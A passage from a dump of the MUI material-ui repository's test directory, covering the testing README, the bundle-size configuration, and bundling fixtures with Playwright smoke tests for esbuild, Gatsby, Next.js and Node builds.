messages and match the casing.\nThe order of these messages must match as well.\n\nExample:\n\n```jsx\nfunction SomeComponent({ variant }) {\n  if (process.env.NODE_ENV !== 'production') {\n    if (variant === 'unexpected') {\n      console.error(\"That variant doesn't make sense.\");\n    }\n    if (variant !== undefined) {\n      console.error('`variant` is deprecated.');\n    }\n  }\n\n  return <div />;\n}\nexpect(() => {\n  render(<SomeComponent variant=\"unexpected\" />);\n}).toErrorDev([\"That variant doesn't make sense.\", '`variant` is deprecated.']);\n```\n\n```js\nfunction SomeComponent({ variant }) {\n  if (process.env.NODE_ENV !== 'production') {\n    if (variant === 'unexpected') {\n      console.error(\"That variant doesn't make sense.\");\n    }\n    if (variant !== undefined) {\n      console.error('`variant` is deprecated.');\n    }\n  }\n\n  return <div />;\n}\nexpect(() => {\n  render(<SomeComponent />);\n}).not.toErrorDev();\n```\n\n## Commands\n\nWe uses a wide range of tests approach as each of them comes with a different\ntrade-off, mainly completeness vs. speed.\n\n### React API level\n\n#### Debugging tests\n\nIf you want to debug tests with the, for example Chrome inspector (chrome://inspect) you can run `pnpm t <testFilePattern> --debug`.\nNote that the test will not get executed until you start code execution in the inspector.\n\nWe have a dedicated task to use VS Code's integrated debugger to debug the currently opened test file.\nOpen the test you want to run and press F5 (launch \"Test Current File\").\n\n#### Run the core unit/integration test suite\n\nTo run all of the unit and integration tests run `pnpm test:unit`. You can scope down to one or more specific files with\n\n```bash\npnpm test:unit <file name pattern>\n```\n\nIf you want to `grep` for certain tests by name add `-t STRING_TO_GREP`\n\n#### Watch the core unit/integration test suite\n\n`pnpm t <testFilePattern>`\n\nFirst, we have the **unit test** suite.\nIt uses [vitest](https://vitest.dev) and a thin wrapper around `@testing-library/react`.\nHere is an [example](https://github.com/mui/material-ui/blob/6d9f42a637184a3b3cb552d2591e2cf39653025d/packages/mui-material/src/Dialog/Dialog.test.js#L60-L69) with the `Dialog` component.\n\nNext, we have the **integration** tests. They are mostly used for components that\nact as composite widgets like `Select` or `Menu`.\nHere is an [example](https://github.com/mui/material-ui/blob/814fb60bbd8e500517b2307b6a297a638838ca89/packages/material-ui/test/integration/Menu.test.js#L98-L108) with the `Menu` component.\n\n#### Create HTML coverage reports\n\n`pnpm test:node --coverage`\n\n```bash\n# browser tests\npnpm test:browser run --coverage --coverage.reporter html\n# node tests\npnpm test:node run --coverage --coverage.reporter html\n# all tests\npnpm test:unit run --coverage --coverage.reporter html\n```\n\nWhen running this command you should get under `coverage/index.html` a full coverage report in HTML format. This is created using [Istanbul](https://istanbul.js.org)'s HTML reporter and gives good data such as line, branch and function coverage.\n\n### DOM API level\n\n#### Run the browser test suite\n\n`pnpm test:browser`\n\nTesting the components at the React level isn't enough;\nwe need to make sure they will behave as expected with a **real DOM**.\nTo solve that problem we use [vitest browser mode](https://vitest.dev/guide/browser/).\nOur tests run on different browsers to increase the coverage:\n\n- [Headless Chrome](https://chromium.googlesource.com/chromium/src/+/lkgr/headless/README.md)\n- Headless Firefox\n- Webkit\n\nYou can run on other browsers using `VITEST_BROWSERS=firefox,webkit pnpm test:browser`.\n\n### Browser API level\n\nIn the end, components are going to be used in a real browser.\nThe DOM is just one dimension of that environment,\nso we also need to take into account the rendering engine.\n\n#### Visual regression tests\n\nCheck out the [visual regression testing readme](./regressions/README.md) for more information.\n\n#### end-to-end tests\n\nCheckout the [end-to-end testing readme](./e2e/README.md) for more information.\n\n##### Development\n\nWhen working on the visual regression tests you can run `pnpm test:regressions:dev` in the background to constantly rebuild the views used for visual regression testing.\nTo actually take the screenshots you can then run `pnpm test:regressions:run`.\nYou can pass the same arguments as you could to `vitest`.\nFor example, `pnpm test:regressions:run -t \"docs-system-basic\"` to take new screenshots of every demo in `docs/src/pages/system/basic`.\nYou can view the screenshots in `test/regressions/screenshots/chrome`.\n\nAlternatively, you might want to open `http://localhost:5001` (while `pnpm test:regressions:dev` is running) to view individual views separately.\n\n### Caveats\n\n#### Accessibility tree exclusion\n\nOur tests also explicitly document which parts of the queried element are included in\nthe accessibility (a11y) tree and which are excluded.\nThis check is fairly expensive which is why it is disabled when tests are run locally by default.\nThe rationale being that in almost all cases including or excluding elements from a query-set depending on their a11y-tree membership makes no difference.\n\nThe queries where this does make a difference explicitly include checking for a11y tree inclusion, for example `getByRole('button', { hidden: false })` (see [byRole documentation](https://testing-library.com/docs/dom-testing-library/api-queries#byrole) for more information).\nTo see if your test (`test:unit`) behaves the same between CI and local environment, set the environment variable `CI` to `'true'`.\n\nNot considering a11y tree exclusion is a common cause of \"Unable to find an accessible element with the role\" or \"Found multiple elements with the role\".\n\n### Performance monitoring\n\nWe have a dedicated CI task that profiles our core test suite.\nSince this task is fairly expensive and not relevant to most day-to-day work it has to be started manually.\nThe CircleCI docs explain [how to start a pipeline manually](https://circleci.com/docs/api/v2/#operation/triggerPipeline) in detail.\nExample:\nWith an environment variable `$CIRCLE_TOKEN` containing a [CircleCI personal access token](https://app.circleci.com/settings/user/tokens).\n\nThe following command triggers the `profile` workflow for the pull request #24289.\n\n```bash\ncurl --request POST \\\n  --url https://circleci.com/api/v2/project/gh/mui/material-ui/pipeline \\\n  --header 'content-type: application/json' \\\n  --header 'Circle-Token: $CIRCLE_TOKEN' \\\n  --data-raw '{\"branch\":\"pull/24289/head\",\"parameters\":{\"workflow\":\"profile\"}}'\n```\n\nTo analyze this profile run you can use https://frontend-public.mui.com/test-profile/:job-number.\n\nTo find out the job number you can start with the response of the previous CircleCI API request which includes the created pipeline id.\nYou then have to search in the [CircleCI UI](https://app.circleci.com/pipelines/github/mui/material-ui) for the job number of `test_profile` that is part of the started pipeline.\nThe job number can be extracted from the URL of a particular CircleCI job.\n\nFor example, in https://app.circleci.com/pipelines/github/mui/material-ui/32796/workflows/23f946de-328e-49b7-9c94-bfe0a0248a12/jobs/211258 `jobs/211258` points to the job number which is in this case `211258` which means you want to visit https://frontend-public.mui.com/test-profile/211258 to analyze the profile.\n\n### Testing multiple versions of React\n\nYou can check integration of different versions of React (for example different [release channels](https://react.dev/community/versioning-policy) or PRs to React) by running:\n\n```bash\npnpm use-react-version <version>\n```\n\nPossible values for `version`:\n\n- default: `stable` (minimum supported React version)\n- a tag on npm, for example `next`, `experimental` or `latest`\n- an older version, for example `^17.0.0`\n\n#### CI\n\n##### Circle CI web interface\n\nThere are two workflows that can be triggered for any given PR manually in the CircleCI web interface:\n\n- `react-next`\n- `react-17`\n\nFollow these steps:\n\n1. Go to https://app.circleci.com/pipelines/github/mui/material-ui?branch=pull/PR_NUMBER/head and replace `PR_NUMBER` with the PR number you want to test.\n2. Click `Trigger Pipeline` button.\n3. Expand `Add parameters (optional)` and add the following parameter:\n\n   | Parameter type | Name       | Value                      |\n   | :------------- | :--------- | :------------------------- |\n   | `string`       | `workflow` | `react-next` or `react-17` |\n\n4. Click `Trigger Pipeline` button.\n\n##### API request\n\nYou can pass the same `version` to our CircleCI pipeline as well:\n\nWith the following API request we're triggering a run of the default workflow in\nPR #24289 for `react@next`\n\n```bash\ncurl --request POST \\\n  --url https://circleci.com/api/v2/project/gh/mui/material-ui/pipeline \\\n  --header 'content-type: application/json' \\\n  --header 'Circle-Token: $CIRCLE_TOKEN' \\\n  --data-raw '{\"branch\":\"pull/24289/head\",\"parameters\":{\"react-version\":\"next\"}}'\n```\n"
  },
  {
    "path": "test/bundle-size/bundle-size-checker.config.mjs",
    "content": "/**\n * @file Configuration file for bundle-size-checker\n *\n * This file determines which packages and components will have their bundle sizes measured.\n */\nimport { defineConfig } from '@mui/internal-bundle-size-checker';\n\n/**\n * Generates the entrypoints configuration by scanning the project structure.\n */\nexport default defineConfig(async () => {\n  // Return the complete entrypoints configuration\n  return {\n    entrypoints: [\n      { id: '@mui/material', expand: true },\n      '@mui/material/styles#createTheme',\n      { id: '@mui/lab', expand: true },\n      '@mui/private-theming',\n      { id: '@mui/system', expand: true },\n      { id: '@mui/utils', expand: true },\n    ],\n    upload: !!process.env.CI,\n    comment: false,\n  };\n});\n"
  },
  {
    "path": "test/bundle-size/package.json",
    "content": "{\n  \"private\": true,\n  \"description\": \"Bundle size measurement workspace for MUI packages\",\n  \"scripts\": {\n    \"check\": \"NODE_OPTIONS=\\\"--max-old-space-size=4096\\\" bundle-size-checker --output ../size-snapshot.json\"\n  },\n  \"devDependencies\": {\n    \"fast-glob\": \"3.3.3\",\n    \"path\": \"0.12.7\"\n  },\n  \"dependencies\": {\n    \"@mui/material\": \"workspace:*\",\n    \"@mui/lab\": \"workspace:*\",\n    \"@mui/private-theming\": \"workspace:*\",\n    \"@mui/system\": \"workspace:*\",\n    \"@mui/utils\": \"workspace:*\"\n  }\n}\n"
  },
  {
    "path": "test/bundling/README.md",
    "content": "# Bundle fixtures\n\nA collection of \"smoke\"-test that verify that the package layout is correct.\n\n`createFixture` is used to create new or update existing fixtures.\nThe created file might need some manual adjustment since not every edge case is covered.\n\n## Run a fixture\n\n### To test a Pull Request\n\n1. Checkout branch\n1. `pnpm install`\n1. `pnpm lerna run build --scope \"@mui/*\"`\n1. `pnpm release:pack`\n1. Navigate into the fixture you want to test (where the `package.json` is located)\n1. `pnpm install --ignore-workspace`\n1. `pnpm start`\n\n### To test a published npm dist tag\n\n_For example: `latest` or `next` on npm or a pkg.pr.new published version_\n\n1. Navigate into the fixture you want to test (where the `package.json` is located)\n1. Adjust `pnpm.overrides` of the `package.json` file to point to the desired version\n1. `pnpm install --ignore-workspace`\n1. `pnpm start`\n\n### In CI\n\nYou have to run our CircleCI pipeline with the `workflow` parameter set to `bundling`.\n\nWith the following API request we're triggering a run of the bundling workflow in\nPR #24289:\n\n```bash\ncurl --request POST \\\n  --url https://circleci.com/api/v2/project/gh/mui/material-ui/pipeline \\\n  --header 'content-type: application/json' \\\n  --header 'Circle-Token: $CIRCLE_TOKEN' \\\n  --data-raw '{\"branch\":\"pull/24289/head\",\"parameters\":{\"workflow\":\"bundling\"}}'\n```\n\n`$CIRCLE_TOKEN` must be set as an environment variable created from https://app.circleci.com/settings/user/tokens.\n\n## Add a new fixture\n\n1. Create a folder in `test/fixtures/bundling`\n1. Add the necessary dependencies\n1. Re-use the entries for `dependencies` and `pnpm.overrides` for `@mui/*` packages from the other fixtures\n1. Create a template\n1. Write a factory that fills the template in `test/bundling/scripts/createFixture`\n1. Add an entry into the `bundling` CircleCI pipeline (`.circleci/config.yml`)\n"
  },
  {
    "path": "test/bundling/fixtures/esbuild/esbuild.template",
    "content": "{{{imports}}}\n\n{{{usage}}}\n"
  },
  {
    "path": "test/bundling/fixtures/esbuild/index.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>Vite App</title>\n  </head>\n  <body>\n    <script type=\"module\" src=\"/build/esbuild.fixture.js\"></script>\n  </body>\n</html>\n"
  },
  {
    "path": "test/bundling/fixtures/esbuild/package.json",
    "content": "{\n  \"name\": \"esbuild\",\n  \"version\": \"1.0.0\",\n  \"license\": \"MIT\",\n  \"scripts\": {\n    \"prestart\": \"node ../../scripts/createFixture.js esbuild\",\n    \"start\": \"pnpm build && concurrently --success first --kill-others \\\"pnpm server\\\" \\\"node testEsbuildIntegration\\\"\",\n    \"build\": \"esbuild esbuild.fixture.js --bundle --outfile=build/esbuild.fixture.js --tsconfig=tsconfig.json\",\n    \"server\": \"serve -p 5001 -s build\"\n  },\n  \"dependencies\": {\n    \"@emotion/core\": \"11.0.0\",\n    \"@emotion/react\": \"11.10.4\",\n    \"@emotion/styled\": \"11.10.4\",\n    \"@mui/material\": \"workspace:*\",\n    \"@mui/icons-material\": \"workspace:*\",\n    \"@mui/lab\": \"workspace:*\",\n    \"@mui/styled-engine\": \"workspace:*\",\n    \"@mui/system\": \"workspace:*\",\n    \"@mui/utils\": \"workspace:*\",\n    \"esbuild\": \"0.25.0\",\n    \"react\": \"18.2.0\",\n    \"react-dom\": \"18.2.0\",\n    \"react-is\": \"18.2.0\"\n  },\n  \"devDependencies\": {\n    \"concurrently\": \"7.4.0\",\n    \"playwright\": \"1.55.1\",\n    \"serve\": \"14.2.4\"\n  },\n  \"pnpm\": {\n    \"overrides\": {\n      \"@mui/material\": \"file:../../../../packed/@mui/material.tgz\",\n      \"@mui/icons-material\": \"file:../../../../packed/@mui/icons-material.tgz\",\n      \"@mui/lab\": \"file:../../../../packed/@mui/lab.tgz\",\n      \"@mui/styled-engine\": \"file:../../../../packed/@mui/styled-engine.tgz\",\n      \"@mui/system\": \"file:../../../../packed/@mui/system.tgz\",\n      \"@mui/utils\": \"file:../../../../packed/@mui/utils.tgz\"\n    }\n  }\n}\n"
  },
  {
    "path": "test/bundling/fixtures/esbuild/testEsbuildIntegration.js",
    "content": "const { chromium } = require('@playwright/test');\n\n/**\n * @param {number} timeoutMS\n * @returns {Promise<void>}\n */\nfunction sleep(duration) {\n  return new Promise((resolve) => {\n    setTimeout(() => {\n      resolve();\n    }, duration);\n  });\n}\n/**\n * Attempts page.goto with retries\n *\n * @remarks The server and runner can be started up simultaneously\n * @param {import('@playwright/test').Page} page\n * @param {string} url\n * @returns {boolean}\n */\nasync function attemptGoto(page, url) {\n  const maxAttempts = 10;\n  const retryTimeoutMS = 250;\n\n  let didNavigate = false;\n  for (let attempt = 1; attempt <= maxAttempts; attempt += 1) {\n    try {\n      // eslint-disable-next-line no-await-in-loop\n      await page.goto(url);\n      didNavigate = true;\n    } catch (error) {\n      // eslint-disable-next-line no-await-in-loop\n      await sleep(retryTimeoutMS);\n    }\n  }\n\n  return didNavigate;\n}\n\nasync function main() {\n  const browser = await chromium.launch();\n  const page = await browser.newPage();\n\n  page.on('console', (consoleMessage) => {\n    throw new Error(\n      `Expected no console messages but got ${consoleMessage.type()}: '${consoleMessage.text()}' `,\n    );\n  });\n  await attemptGoto(page, 'http://localhost:5001/');\n\n  await browser.close();\n}\n\nmain().catch((error) => {\n  console.error(error);\n  process.exit(1);\n});\n"
  },
  {
    "path": "test/bundling/fixtures/esbuild/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {},\n  \"exclude\": [\"node_modules\", \"build\"]\n}\n"
  },
  {
    "path": "test/bundling/fixtures/gatsby/.browserslistrc",
    "content": "defaults and fully supports es6-module\nmaintained node versions\n"
  },
  {
    "path": "test/bundling/fixtures/gatsby/gatsby-config.js",
    "content": "module.exports = {\n  siteMetadata: {\n    title: 'gatsby',\n  },\n  plugins: [],\n};\n"
  },
  {
    "path": "test/bundling/fixtures/gatsby/gatsby.template",
    "content": "{{{imports}}}\n\n{{{usage}}}\n\nexport default function Page() {\n  return null;\n}\n"
  },
  {
    "path": "test/bundling/fixtures/gatsby/package.json",
    "content": "{\n  \"name\": \"gatsby\",\n  \"version\": \"1.0.0\",\n  \"license\": \"MIT\",\n  \"scripts\": {\n    \"prestart\": \"node ../../scripts/createFixture.js gatsby\",\n    \"start\": \"pnpm gatsby build && concurrently --success first --kill-others \\\"pnpm gatsby serve\\\" \\\"node testGatsbyIntegration\\\"\"\n  },\n  \"dependencies\": {\n    \"@emotion/core\": \"11.0.0\",\n    \"@emotion/react\": \"11.10.4\",\n    \"@emotion/styled\": \"11.10.4\",\n    \"@mui/material\": \"workspace:*\",\n    \"@mui/icons-material\": \"workspace:*\",\n    \"@mui/lab\": \"workspace:*\",\n    \"@mui/styled-engine\": \"workspace:*\",\n    \"@mui/system\": \"workspace:*\",\n    \"@mui/utils\": \"workspace:*\",\n    \"gatsby\": \"5.13.7\",\n    \"react\": \"18.2.0\",\n    \"react-dom\": \"18.2.0\",\n    \"react-is\": \"18.2.0\"\n  },\n  \"devDependencies\": {\n    \"concurrently\": \"7.4.0\",\n    \"@playwright/test\": \"1.54.1\"\n  },\n  \"pnpm\": {\n    \"overrides\": {\n      \"@mui/material\": \"file:../../../../packed/@mui/material.tgz\",\n      \"@mui/icons-material\": \"file:../../../../packed/@mui/icons-material.tgz\",\n      \"@mui/lab\": \"file:../../../../packed/@mui/lab.tgz\",\n      \"@mui/styled-engine\": \"file:../../../../packed/@mui/styled-engine.tgz\",\n      \"@mui/system\": \"file:../../../../packed/@mui/system.tgz\",\n      \"@mui/utils\": \"file:../../../../packed/@mui/utils.tgz\"\n    }\n  }\n}\n"
  },
  {
    "path": "test/bundling/fixtures/gatsby/src/pages/development.js",
    "content": "import * as React from 'react';\nimport IconButton from '@mui/material/IconButton';\nimport AccessibilityIcon from '@mui/icons-material/Accessibility';\n\nexport default function Development() {\n  return (\n    <div>\n      <IconButton>\n        <AccessibilityIcon />\n      </IconButton>\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/bundling/fixtures/gatsby/testGatsbyIntegration.js",
    "content": "const { chromium } = require('@playwright/test');\n\n/**\n * @param {number} timeoutMS\n * @returns {Promise<void>}\n */\nfunction sleep(duration) {\n  return new Promise((resolve) => {\n    setTimeout(() => {\n      resolve();\n    }, duration);\n  });\n}\n\n/**\n * Attempts page.goto with retries\n *\n * @remarks The server and runner can be started up simultaneously\n * @param {import('@playwright/test').Page} page\n * @param {string} url\n * @returns {boolean}\n */\nasync function attemptGoto(page, url) {\n  const maxAttempts = 10;\n  const retryTimeoutMS = 250;\n\n  let didNavigate = false;\n  for (let attempt = 1; attempt <= maxAttempts; attempt += 1) {\n    try {\n      // eslint-disable-next-line no-await-in-loop\n      await page.goto(url);\n      didNavigate = true;\n    } catch (error) {\n      // eslint-disable-next-line no-await-in-loop\n      await sleep(retryTimeoutMS);\n    }\n  }\n\n  return didNavigate;\n}\n\nasync function main() {\n  const browser = await chromium.launch();\n  const page = await browser.newPage();\n\n  page.on('console', (consoleMessage) => {\n    throw new Error(\n      `Expected no console messages but got ${consoleMessage.type()}: '${consoleMessage.text()}' `,\n    );\n  });\n  await attemptGoto(page, 'http://localhost:9000/gatsby.fixture');\n\n  await browser.close();\n}\n\nmain().catch((error) => {\n  console.error(error);\n  process.exit(1);\n});\n"
  },
  {
    "path": "test/bundling/fixtures/next-webpack4/next-webpack.template",
    "content": "{{{imports}}}\n\n{{{usage}}}\n\nexport default function Page() {\n  return null;\n}\n"
  },
  {
    "path": "test/bundling/fixtures/next-webpack4/next.config.mjs",
    "content": "export default {\n  webpack5: false,\n  eslint: {\n    ignoreDuringBuilds: true,\n  },\n  webpack(config, { defaultLoaders }) {\n    config.module.rules.push({\n      test: /\\/node_modules\\/@mui\\//,\n      use: [defaultLoaders.babel],\n    });\n    return config;\n  },\n};\n"
  },
  {
    "path": "test/bundling/fixtures/next-webpack4/package.json",
    "content": "{\n  \"name\": \"next-webpack4\",\n  \"version\": \"1.0.0\",\n  \"license\": \"MIT\",\n  \"scripts\": {\n    \"prestart\": \"node ../../scripts/createFixture.js next-webpack4\",\n    \"start\": \"NODE_OPTIONS=--openssl-legacy-provider pnpm next build && concurrently --success first --kill-others \\\"pnpm next start\\\" \\\"node testNextWebpack4Integration\\\"\"\n  },\n  \"dependencies\": {\n    \"@emotion/core\": \"11.0.0\",\n    \"@emotion/react\": \"11.10.4\",\n    \"@emotion/styled\": \"11.10.4\",\n    \"@mui/material\": \"workspace:*\",\n    \"@mui/icons-material\": \"workspace:*\",\n    \"@mui/lab\": \"workspace:*\",\n    \"@mui/styled-engine\": \"workspace:*\",\n    \"@mui/system\": \"workspace:*\",\n    \"@mui/utils\": \"workspace:*\",\n    \"next\": \"14.2.35\",\n    \"react\": \"^17.0.2\",\n    \"react-dom\": \"^17.0.2\",\n    \"react-is\": \"^17.0.2\"\n  },\n  \"devDependencies\": {\n    \"concurrently\": \"7.4.0\",\n    \"@playwright/test\": \"1.54.1\"\n  },\n  \"pnpm\": {\n    \"overrides\": {\n      \"@mui/material\": \"file:../../../../packed/@mui/material.tgz\",\n      \"@mui/icons-material\": \"file:../../../../packed/@mui/icons-material.tgz\",\n      \"@mui/lab\": \"file:../../../../packed/@mui/lab.tgz\",\n      \"@mui/styled-engine\": \"file:../../../../packed/@mui/styled-engine.tgz\",\n      \"@mui/system\": \"file:../../../../packed/@mui/system.tgz\",\n      \"@mui/utils\": \"file:../../../../packed/@mui/utils.tgz\"\n    }\n  }\n}\n"
  },
  {
    "path": "test/bundling/fixtures/next-webpack4/pages/development.js",
    "content": "import * as React from 'react';\nimport IconButton from '@mui/material/IconButton';\nimport AccessibilityIcon from '@mui/icons-material/Accessibility';\n\nexport default function Development() {\n  return (\n    <div>\n      <IconButton>\n        <AccessibilityIcon />\n      </IconButton>\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/bundling/fixtures/next-webpack4/testNextWebpack4Integration.js",
    "content": "const { chromium } = require('@playwright/test');\n\n/**\n * @param {number} timeoutMS\n * @returns {Promise<void>}\n */\nfunction sleep(duration) {\n  return new Promise((resolve) => {\n    setTimeout(() => {\n      resolve();\n    }, duration);\n  });\n}\n\n/**\n * Attempts page.goto with retries\n *\n * @remarks The server and runner can be started up simultaneously\n * @param {import('@playwright/test').Page} page\n * @param {string} url\n * @returns {boolean}\n */\nasync function attemptGoto(page, url) {\n  const maxAttempts = 10;\n  const retryTimeoutMS = 250;\n\n  let didNavigate = false;\n  for (let attempt = 1; attempt <= maxAttempts; attempt += 1) {\n    try {\n      // eslint-disable-next-line no-await-in-loop\n      await page.goto(url);\n      didNavigate = true;\n    } catch (error) {\n      // eslint-disable-next-line no-await-in-loop\n      await sleep(retryTimeoutMS);\n    }\n  }\n\n  return didNavigate;\n}\n\nasync function main() {\n  const browser = await chromium.launch();\n  const page = await browser.newPage();\n\n  page.on('console', (consoleMessage) => {\n    throw new Error(\n      `Expected no console messages but got ${consoleMessage.type()}: '${consoleMessage.text()}' `,\n    );\n  });\n  await attemptGoto(page, 'http://localhost:5001/next-webpack.fixture');\n\n  await browser.close();\n}\n\nmain().catch((error) => {\n  console.error(error);\n  process.exit(1);\n});\n"
  },
  {
    "path": "test/bundling/fixtures/next-webpack5/next-webpack.template",
    "content": "{{{imports}}}\n\n{{{usage}}}\n\nexport default function Page() {\n  return null;\n}\n"
  },
  {
    "path": "test/bundling/fixtures/next-webpack5/next.config.mjs",
    "content": "export default {\n  eslint: {\n    ignoreDuringBuilds: true,\n  },\n};\n"
  },
  {
    "path": "test/bundling/fixtures/next-webpack5/package.json",
    "content": "{\n  \"name\": \"next-webpack5\",\n  \"version\": \"1.0.0\",\n  \"license\": \"MIT\",\n  \"scripts\": {\n    \"start\": \"pnpm next build && concurrently --success first --kill-others \\\"pnpm next start\\\" \\\"node testNextWebpack5Integration\\\"\"\n  },\n  \"dependencies\": {\n    \"@emotion/core\": \"11.0.0\",\n    \"@emotion/react\": \"11.10.4\",\n    \"@emotion/styled\": \"11.10.4\",\n    \"@mui/material\": \"workspace:*\",\n    \"@mui/icons-material\": \"workspace:*\",\n    \"@mui/lab\": \"workspace:*\",\n    \"@mui/styled-engine\": \"workspace:*\",\n    \"@mui/utils\": \"workspace:*\",\n    \"next\": \"14.2.35\",\n    \"react\": \"18.2.0\",\n    \"react-dom\": \"18.2.0\",\n    \"react-is\": \"18.2.0\"\n  },\n  \"devDependencies\": {\n    \"concurrently\": \"7.4.0\",\n    \"@playwright/test\": \"1.54.1\"\n  },\n  \"pnpm\": {\n    \"overrides\": {\n      \"@mui/material\": \"file:../../../../packed/@mui/material.tgz\",\n      \"@mui/icons-material\": \"file:../../../../packed/@mui/icons-material.tgz\",\n      \"@mui/lab\": \"file:../../../../packed/@mui/lab.tgz\",\n      \"@mui/styled-engine\": \"file:../../../../packed/@mui/styled-engine.tgz\",\n      \"@mui/system\": \"file:../../../../packed/@mui/system.tgz\",\n      \"@mui/utils\": \"file:../../../../packed/@mui/utils.tgz\"\n    }\n  }\n}\n"
  },
  {
    "path": "test/bundling/fixtures/next-webpack5/pages/development.js",
    "content": "import * as React from 'react';\nimport IconButton from '@mui/material/IconButton';\nimport AccessibilityIcon from '@mui/icons-material/Accessibility';\n\nexport default function Development() {\n  return (\n    <div>\n      <IconButton>\n        <AccessibilityIcon />\n      </IconButton>\n    </div>\n  );\n}\n"
  },
  {
    "path": "test/bundling/fixtures/next-webpack5/testNextWebpack5Integration.js",
    "content": "const { chromium } = require('@playwright/test');\n\n/**\n * @param {number} timeoutMS\n * @returns {Promise<void>}\n */\nfunction sleep(duration) {\n  return new Promise((resolve) => {\n    setTimeout(() => {\n      resolve();\n    }, duration);\n  });\n}\n\n/**\n * Attempts page.goto with retries\n *\n * @remarks The server and runner can be started up simultaneously\n * @param {import('@playwright/test').Page} page\n * @param {string} url\n * @returns {boolean}\n */\nasync function attemptGoto(page, url) {\n  const maxAttempts = 10;\n  const retryTimeoutMS = 250;\n\n  let didNavigate = false;\n  for (let attempt = 1; attempt <= maxAttempts; attempt += 1) {\n    try {\n      // eslint-disable-next-line no-await-in-loop\n      await page.goto(url);\n      didNavigate = true;\n    } catch (error) {\n      // eslint-disable-next-line no-await-in-loop\n      await sleep(retryTimeoutMS);\n    }\n  }\n\n  return didNavigate;\n}\n\nasync function main() {\n  const browser = await chromium.launch();\n  const page = await browser.newPage();\n\n  page.on('console', (consoleMessage) => {\n    throw new Error(\n      `Expected no console messages but got ${consoleMessage.type()}: '${consoleMessage.text()}' `,\n    );\n  });\n  await attemptGoto(page, 'http://localhost:5001/next-webpack.fixture');\n\n  await browser.close();\n}\n\nmain().catch((error) => {\n  console.error(error);\n  process.exit(1);\n});\n"
  },
  {
    "path": "test/bundling/fixtures/node-cjs/development.js",
    "content": "import * as ReactIs from 'react-is';\nimport Accordion2 from '@mui/material/Accordion';\n\n// eslint-disable-next-line no-console\nconsole.assert(ReactIs.isValidElementType(Accordion2));\n"
  },
  {
    "path": "test/bundling/fixtures/node-cjs/node-cjs.template",
    "content": "{{{requires}}}\n\n{{{usage}}}\n"
  },
  {
    "path": "test/bundling/fixtures/node-cjs/package.json",
    "content": "{\n  \"name\": \"node-esm\",\n  \"version\": \"1.0.0\",\n  \"main\": \"index.js\",\n  \"type\": \"commonjs\",\n  \"license\": \"MIT\",\n  \"scripts\": {\n    \"prestart\": \"node ../../scripts/createFixture.js node-cjs\",\n    \"start\": \"node node-cjs.fixture.js\"\n  },\n  \"dependencies\": {\n    \"@emotion/core\": \"11.0.0\",\n    \"@emotion/styled\": \"11.10.4\",\n    \"@mui/material\": \"workspace:*\",\n    \"@mui/icons-material\": \"workspace:*\",\n    \"@mui/lab\": \"workspace:*\",\n    \"@mui/styled-engine\": \"workspace:*\",\n    \"@mui/system\": \"workspace:*\",\n    \"@mui/utils\": \"workspace:*\",\n    \"react-is\": \"18.2.0\"\n  },\n  \"pnpm\": {\n    \"overrides\": {\n      \"@mui/material\": \"file:../../../../packed/@mui/material.tgz\",\n      \"@mui/icons-material\": \"file:../../../../packed/@mui/icons-material.tgz\",\n      \"@mui/lab\": \"file:../../../../packed/@mui/lab.tgz\",\n      \"@mui/styled-engine\": \"file:../../../../packed/@mui/styled-engine.tgz\",\n      \"@mui/system\": \"file:../../../../packed/@mui/system.tgz\",\n      \"@mui/utils\": \"file:../../../../packed/@mui/utils.tgz\"\n    }\n  }\n}\n"
  },
  {
    "path": "test/bundling/fixtures/node-esm/development.js",
    "content": "import * as ReactIs from 'react-is';\nimport Accordion2 from '@mui/material/Accordion';\n\n// eslint-disable-next-line no-console\nconsole.assert(ReactIs.isValidElementType(Accordion2));\n"
  },
  {
    "path": "test/bundling/fixtures/node-esm/node-esm.template",
    "content": "{{{imports}}}\n\n{{{usage}}}\n"
  },
  {
    "path": "test/bundling/fixtures/node-esm/package.json",
    "content": "{\n  \"name\": \"node-esm\",\n  \"version\": \"1.0.0\",\n  \"main\": \"index.js\",\n  \"type\": \"module\",\n  \"license\": \"MIT\",\n  \"scripts\": {\n    \"prestart\": \"node ../../scripts/createFixture.js node-esm\",\n    \"start\": \"node node-esm.fixture.js\"\n  },\n  \"dependencies\": {\n    \"@emotion/core\": \"11.0.0\",\n    \"@emotion/styled\": \"11.10.4\",\n    \"@mui/material\": \"workspace:*\",\n    \"@mui/icons-material\": \"workspace:*\",\n    \"@mui/lab\": \"workspace:*\",\n    \"@mui/styled-engine\": \"workspace:*\",\n    \"@mui/system\": \"workspace:*\",\n    \"@mui/utils\": \"workspace:*\",\n    \"react-is\": \"18.2.0\"\n  },\n  \"pnpm\": {\n    \"overrides\": {\n      \"@mui/material\": \"file:../../../../packed/@mui/material.tgz\",\n      \"@mui/icons-material\": \"file:../../../../packed/@mui/icons-material.tgz\",\n      \"@mui/lab\": \"file:../../../../packed/@mui/lab.tgz\",\n      \"@mui/styled-engine\": \"file:../../../../packed/@mui/styled-engine.tgz\",\n      \"@mui/system\": \"file:../../../../packed/@mui/system.tgz\",\n      \"@mui/utils\": \"file:../../../../packed/@mui/utils.tgz\"\n    }\n  }\n}\n"
  },
  {
    "path": "test/bundling/fixtures/snowpack/package.json",
